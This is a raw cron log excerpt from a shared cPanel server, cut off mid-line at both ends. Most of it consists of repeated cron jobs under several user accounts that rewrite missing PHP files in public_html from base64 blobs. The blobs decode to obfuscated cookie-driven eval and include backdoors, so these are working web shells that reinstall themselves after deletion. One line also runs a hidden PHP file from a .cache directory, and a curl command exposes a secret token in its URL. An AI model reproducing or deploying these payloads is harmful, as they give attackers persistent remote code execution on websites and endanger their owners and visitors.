cmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:25:01 medusa CROND[20689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:25:01 medusa CROND[20685]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 06:25:01 medusa CROND[20691]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:25:01 medusa CROND[20692]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:25:01 medusa CROND[20704]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:25:01 medusa CROND[20705]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:25:01 medusa CROND[20703]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Jun  7 06:25:01 medusa CROND[20710]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:25:01 medusa CROND[20712]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 06:26:01 medusa CROND[22950]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 06:26:01 medusa CROND[22955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:26:02 medusa CROND[22968]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:26:02 medusa CROND[22974]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 06:26:02 medusa CROND[22978]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 06:26:02 medusa CROND[22980]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:26:02 medusa CROND[22981]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:26:02 medusa CROND[22983]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:26:02 medusa CROND[22986]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:26:02 medusa CROND[22987]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:26:02 medusa CROND[22988]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:26:02 medusa CROND[22990]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:26:02 medusa CROND[22993]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:26:02 medusa CROND[22995]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:27:02 medusa CROND[25152]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:27:02 medusa CROND[25153]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:27:02 medusa CROND[25154]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:27:02 medusa CROND[25155]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:27:02 medusa CROND[25156]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxK